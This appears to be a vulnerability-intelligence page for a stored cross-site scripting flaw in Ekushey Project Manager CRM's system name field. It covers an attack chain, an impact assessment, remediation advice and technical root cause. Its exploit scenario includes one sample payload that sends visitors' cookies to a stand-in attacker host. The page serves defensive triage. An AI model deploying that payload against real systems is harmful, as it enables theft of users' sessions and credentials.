Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCompromise or obtain admin credentials
-
DeliveryAuthenticate to CRM admin panel
-
ExploitInject XSS payload into system name setting
-
InstallSave configuration
-
C2Unauthenticated victim loads login page
-
ExecutePayload executes in victim browser within CRM origin
-
ImpactExfiltrate credentials or session data to attacker-controlled endpoint
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | A valid administrator session in Ekushey Project Manager CRM is required to write the malicious system name value - this is the sole prerequisite for arming the attack. Once set, no further conditions or attacker interaction are needed: the payload fires automatically for every visitor who loads the login page, including completely unauthenticated users. The co-location of the XSS payload with the username and password fields on the same page and same origin is what elevates the downstream risk. Limiting factors are: (1) the attacker must first compromise or control a legitimate administrator account; (2) the impact is browser-origin-scoped - no server-side code execution occurs; (3) if the CRM sets the HttpOnly flag on session cookies, direct cookie theft is blocked, though DOM-based credential interception via the login form fields on the same page remains viable. The absence of a special deployment configuration or non-default feature requirement means any internet-exposed Ekushey CRM instance where admin credentials are compromised is fully exposed. |
| Impact | The CVSS 4.0 score of 4.8 (Medium) accurately captures the central tension: the attack vector is network with low complexity (AV:N/AC:L), but exploitation requires a high-privilege administrator session to set the payload (PR:H), which is the decisive limiting factor. The subsequent-system impact metrics (SC:L/SI:L) reflect that the XSS executes in visitors' browsers within the CRM origin - an environment that includes credential input fields - making the downstream impact meaningful despite the moderate score. The availability of a public PoC on GitHub lowers the technical barrier to exploitation once admin access is in hand, but no CISA KEV listing or EPSS score is available to quantify actual exploitation prevalence. The most realistic threat model is an insider-threat or post-admin-compromise scenario; for deployments with tightly controlled administrator accounts the urgency is low, but for those with shared or weakly protected admin credentials, the persistent nature of the payload escalates the realistic risk. No conflicting signals are present in the data - the CVSS vector is internally consistent with the described behavior. |
| Exploit ScenarioDerived | An attacker who obtains administrator credentials through phishing or credential stuffing logs into the CRM admin panel and sets the system name to a payload such as '<img src=x onerror=fetch("https://attacker.example/c?"+document.cookie)>'. From that point forward, every visitor who loads the login page - including legitimate users about to type their credentials - executes the script in the CRM origin's context, exfiltrating session cookies or enabling DOM manipulation to silently redirect submitted credentials. The public PoC at https://github.com/LindHunt/CVE-2026-26211 confirms this attack path is reproducible. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 25, 2026
Stored cross-site scripting in Ekushey Project Manager CRM allows a malicious or compromised administrator to inject arbitrary HTML and script into the application's login page, which then executes silently in the browser of every unauthenticated visitor who loads that page - including users about to submit their credentials. The vulnerability persists until the system name setting is corrected, and the payload runs within the CRM's own origin, co-located with the credential input fields. A public proof-of-concept exists on GitHub (LindHunt/CVE-2026-26211); no CISA KEV listing or vendor patch has been identified at time of analysis.
RemediationAI
No vendor-released patch has been identified at time of analysis. As an immediate compensating control, administrators should audit the system name field in the CRM settings panel and remove any HTML tags or script content, restoring it to plain text. Access to the administrator panel should be restricted to trusted internal IP ranges using firewall rules or web server access controls, reducing the attack surface for admin account compromise - note this does not fix the underlying encoding flaw but limits who can weaponize it. Monitor the login page HTML source periodically for unexpected tags within the h4 system name element as a detection measure. The VulnCheck advisory at https://www.vulncheck.com/advisories/ekushey-project-manager-crm-5.0-stored-xss-via-system-name-field and the PoC at https://github.com/LindHunt/CVE-2026-26211 should be tracked for updates. When a vendor patch becomes available, verify it includes server-side HTML encoding (htmlspecialchars or equivalent) applied to the system name output in all three rendering locations.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Ekushey Project Manager CRM, distributed by Creativeitem via CodeCanyon (CPE: cpe:2.3:a:creativeitem:ekushey_project_manager_crm:*:*:*:*:*:*:*:*), is a PHP-based project management and CRM web application. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS): the administrator-configured system name is persisted server-side and then echoed into the login page at three distinct injection points - the content attribute of the HTML meta description element, the title element, and an h4 element in the page header. Crucially, the h4 element is rendered as raw markup rather than text, meaning embedded HTML tags and event-handler attributes (e.g., onerror, onload) are parsed and executed by the browser. The login page is served to all visitors without authentication, so once the payload is written, every page load triggers it in the victim's browser within the CRM application's origin.
Know when Ekushey Project Manager Crm gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
PR:H because admin session is required to set payload; S:C because XSS executes in unauthenticated visitors' browsers, a distinct security scope; A:N as no availability impact exists.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
Ekushey Project Manager CRM stores the administrator-configured system name and writes it to the login page without output encoding. The value is emitted in three places on that page: the content attribute of the description meta element, the title element, and the text of an h4 element in the page header. The h4 occurrence is parsed as markup, so HTML placed in the system name field is rendered as markup and any event handler it carries runs. The login page is served without authentication, so the stored value executes in the browser of every visitor who loads it, including visitors who are not signed in, within the origin that serves the login form and alongside the credential fields on it. Storing the value requires an administrator session; the resulting script runs for unauthenticated visitors and persists until the setting is changed.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Ekushey Project Manager Crm
View allStored cross-site scripting in Ekushey Project Manager CRM through version 5.0 allows authenticated client users to inje
Stored cross-site scripting in Ekushey CRM 5.0 (Creativeitem's Ekushey Project Manager CRM) lets an authenticated user w
Stored cross-site scripting in Ekushey CRM 5.0 allows an authenticated user to plant persistent JavaScript in the 'title
Stored cross-site scripting in Ekushey Project Manager CRM 5.0 lets an authenticated user inject a malicious payload int
EUVD-2026-65620
GHSA-5p97-43v8-cjrm
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB